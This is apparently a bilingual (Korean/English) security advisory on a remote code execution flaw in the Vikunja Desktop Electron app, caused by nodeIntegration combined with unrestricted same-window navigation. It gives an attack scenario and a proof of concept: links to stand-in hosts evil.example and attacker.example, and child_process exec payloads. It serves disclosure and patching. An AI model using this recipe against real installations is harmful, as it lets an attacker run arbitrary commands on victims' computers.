🇰🇷 한글 설명
Vikunja 데스크톱 앱의 Electron 설정 오류로 인해 발생하는 원격 코드 실행 취약점입니다. 공격자가 사용자 생성 콘텐츠에 악성 링크를 삽입하면, 사용자가 이를 클릭할 때 Node.js 권한을 가진 외부 페이지로 이동하여 피해자의 PC에서 임의의 명령어를 실행할 수 있습니다.
💡 쉬운 설명
프로그램 내의 링크를 클릭했을 때 보안 검사 없이 외부 사이트로 연결되는 문제입니다. 이 과정에서 해커가 만든 사이트가 내 컴퓨터의 제어권을 완전히 가져갈 수 있어 매우 위험합니다.
🇺🇸 원문 (English)
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
## Root cause
Two misconfigurations combine to create this vulnerability:
1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).
2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:
- `<a href="https://...">` links (without `target="_blank"`)
- `window.location` assignments
- HTTP redirects
- `<meta http-equiv="refresh">` tags
## Attack scenario
1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>`
3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.
4. The victim uses Vikunja Desktop and clicks the link.
5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.
6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`
7. Arbitrary commands execute as the victim's OS user.
## Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
## Proof of concept
1. Set up a Vikunja instance with two users sharing a project.
2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>`
3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`
4. As the victim, open the project in Vikunja Desktop and click the link.
5. calc.exe (or any other command) executes on the victim's machine.
## Credits
This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).
📍 영향받는 시스템
Vikunja Desktop Electron wrapper (version 0.21.0 ~ 2.1.x)
⚔️ 공격 벡터
사용자 생성 콘텐츠(작업 설명, 댓글 등)에 포함된 악성 링크를 클릭하도록 유도하여 동일 창 내비게이션 발생
🛡️ 대응 방법
Vikunja Desktop을 버전 2.2.0 이상으로 업데이트하십시오.
🔧 검증 코드
출력된 버전이 2.2.0 미만이면 취약한 상태이며, 2.2.0 이상이면 안전합니다.
npm list -g vikunja-desktop 2>/dev/null | grep -E 'vikunja-desktop@([0-9]+\.[0-9]+\.[0-9]+)'